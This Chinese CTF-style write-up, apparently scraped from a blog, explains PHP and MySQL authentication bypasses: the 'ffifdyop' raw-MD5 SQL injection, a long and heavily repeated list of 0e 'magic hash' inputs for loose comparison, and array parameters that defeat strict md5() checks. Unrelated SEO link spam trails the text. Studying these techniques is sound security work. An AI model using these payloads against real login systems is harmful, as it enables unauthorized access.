码转换 在计算机中十六进制数据可以按照一定规则转换为对应的 ASCII 字符。每两个十六进制数字对应一个字节每个字节可以表示一个 ASCII 字符。下面对 276f722736 进行转换 27 在 ASCII 码表中对应的字符是单引号 。 6f 对应的 ASCII 字符是小写字母 o。 72 对应的 ASCII 字符是小写字母 r。 因此十六进制字符串 276f7227 转换为 ASCII 字符后就是 or而 36 对应的 ASCII 字符是数字 6所以 276f722736 转换为 ASCII 字符后就是 or6。 与 SQL 注入的关联 假设原本的 SQL 查询语句是 SELECT * FROM admin WHERE password MD5(用户输入的内容);当用户输入 ffifdyop 时查询语句会变成 sqlSELECT * FROM admin WHERE password 276f722736c95d99e921722cf9ed621c; 由于 MySQL 会将十六进制字符串解释为对应的 ASCII 字符上述查询语句实际执行时相当于sqlSELECT * FROM admin WHERE password or 6c95d99e921722cf9ed621c; 在 SQL 逻辑中OR 运算符只要有一个条件为真整个表达式就为真。这里 6c95d99e921722cf9ed621c 作为一个非空字符串在布尔上下文中会被视为 TRUE所以整个查询条件恒为真这样就绕过了正常的密码验证实现了 SQL 注入攻击ffifdyop 也就相当于一个万能密码。 查看页面源码发现有一个弱类型比较也可以数组绕过  由于是GET方式我们可以构造?a[]1b[]2  或者?aQNKCDZObs878926199a  这两个 MD5 值都是以0e开头在 PHP 中以0e开头的字符串会被认为是科学计数法表示的数字且e后面的数字表示 10 的幂次。在这种情况下PHP 会将这两个字符串转换为数字0进行比较所以0e462097431906509019562988736854 0e545993274517709034328855841020的结果为true从而实现了绕过。 尽管这两个 MD5 值在弱相等比较时被当作相同的数字但它们本质上是不同的字符串。0e462097431906509019562988736854 和 0e545993274517709034328855841020 这两个字符串的内容不同所以在强相等比较中由于字符串内容和数据类型都要严格一致最终判定结果为不相等也就无法绕过 典型的md5碰撞这个是弱比较所以可以用md5值为0e开头的来撞。这里提供一些md5以后是0e开头的值 QNKCDZO 0e830400451993494058024219903391 s878926199a 0e545993274517709034328855841020 s155964671a 0e342768416822451524974117254469 s214587387a 0e848240448830537924465865611904 s214587387a 0e848240448830537924465865611904 s878926199a 0e545993274517709034328855841020 s1091221200a 0e940624217856561557816327384675 s1885207154a 0e509367213418206700842008763514 s1502113478a 0e861580163291561247404381396064 s1885207154a 0e509367213418206700842008763514 s1836677006a 0e481036490867661113260034900752 s155964671a 0e342768416822451524974117254469 s1184209335a 0e072485820392773389523109082030 s1665632922a 0e731198061491163073197128363787 s1502113478a 0e861580163291561247404381396064 s1836677006a 0e481036490867661113260034900752 s1091221200a 0e940624217856561557816327384675 s155964671a 0e342768416822451524974117254469 s1502113478a 0e861580163291561247404381396064 s155964671a 0e342768416822451524974117254469 s1665632922a 0e731198061491163073197128363787 s155964671a 0e342768416822451524974117254469 s1091221200a 0e940624217856561557816327384675 s1836677006a 0e481036490867661113260034900752 s1885207154a 0e509367213418206700842008763514 s532378020a 0e220463095855511507588041205815 s878926199a 0e545993274517709034328855841020 s1091221200a 0e940624217856561557816327384675 s214587387a 0e848240448830537924465865611904 s1502113478a 0e861580163291561247404381396064 s1091221200a 0e940624217856561557816327384675 s1665632922a 0e731198061491163073197128363787 s1885207154a 0e509367213418206700842008763514 s1836677006a 0e481036490867661113260034900752 s1665632922a 0e731198061491163073197128363787 s878926199a 0e545993274517709034328855841020 if($_POST[param1]!$_POST[param2]md5($_POST[param1])md5($_POST[param2]))  POST方式传param1和param2两个参数这两个参数还不能相等但是md5转换后的值还要相等0e开头 $_POST[param1]!$_POST[param2]$_POST 是一个 PHP 超全局变量用于接收通过 POST 方法提交的表单数据。这个条件检查 param1 和 param2 这两个 POST 参数的值是否不相等。! 是严格不相等比较运算符它不仅会比较值还会比较数据类型。 md5($_POST[param1])md5($_POST[param2])md5 函数用于计算一个字符串的 MD5 哈希值。这个条件检查 param1 和 param2 经过 MD5 哈希计算后的结果是否严格相等。 是严格相等比较运算符会同时比较值和数据类型。 由于后面是强相等会比较值所以param1s155964671aparam2s878926199a不行 只能数组绕过  POST传参param1[]1param2[]2 MD5有个特点是如果传入的两个参数不是字符串而是数组md5()函数无法解出其数值而且不会报错就会得到强比较的值相等相当于falsefalse恒成立。 1. error_reporting(0); 功能这行代码用于设置 PHP 错误报告的级别。参数 0 表示关闭所有的错误报告也就是说当代码运行过程中出现错误时PHP 不会在页面上显示任何错误信息。这通常是为了避免在生产环境中向用户暴露敏感的错误信息防止攻击者利用这些信息进行攻击。 2. include flag.php; 功能include 是一个 PHP 语句用于将指定的文件包含到当前脚本中。这里将 flag.php 文件包含进来意味着 flag.php 文件中的代码会在当前脚本中被执行。 3. highlight_file(__FILE__); 功能highlight_file 函数用于以语法高亮的形式显示指定文件的源代码。__FILE__ 是一个 PHP 预定义常量它代表当前正在执行的 PHP 文件的完整路径和文件名。所以这行代码的作用是在页面上显示当前文件也就是这段代码所在文件的源代码方便用户查看代码逻辑。
http://www.pierceye.com/news/469168/

相关文章:

  • 台州网站建设企业网站 微信开发
  • 安徽省水利厅网站 基本建设营销策划公司名称
  • 网页设计师培训学院开封做网站优化
  • 山西电力建设三公司网站影院禁止18岁以下观众观影
  • 防伪网站模板网站开发怎么赚钱
  • 医院网站建设意义推广咨询
  • 广东省54个市win10最强优化软件
  • 交换链接网站asp.net企业网站框架
  • 惠州网站建设制作推广医疗设备响应式网站
  • 有哪些做ppt的网站cms网站开发涉及的知识
  • 软件开发成本估算表苏州百度seo代理
  • 网站内部链接有什么作用临安做企业网站的公司
  • 整合营销网站网站建设销售话术开场白
  • 永久免费wap自助建站北京家装设计师排名
  • 西安学校网站建设报价做淘宝客没有网站怎么做
  • 网站建设运营思路网站已在别处备案怎么转入阿里云
  • 网站开发前端如何开发秦皇岛做网站
  • sns网站建设最好看免费观看高清大全宫崎骏
  • 手机网站开发下载app开发长沙
  • 重庆南川网站制作价格西宁网站建设优化
  • 电子商务网站建设与管理试卷6平面设计接单兼职
  • 建设手机网站大概要多少钱云南建投二公司官网
  • 公司如何建设网站首页网页设计与网站开发试题答案
  • 中企动力合作网站网站app下载平台怎么做
  • 网站开发专业成功人士重庆邮电大学官网网站
  • 官方网站后台图片下载怎么做网站开发与支付宝端口连接
  • 浏览器怎么打开网站服务器下载在线音乐网站开发摘要
  • 建网站拿到广告吉林整站优化
  • 怎么建站网站清远佛冈住房和城乡建设局网站
  • 领导高度重视门户网站建设广州引流推广公司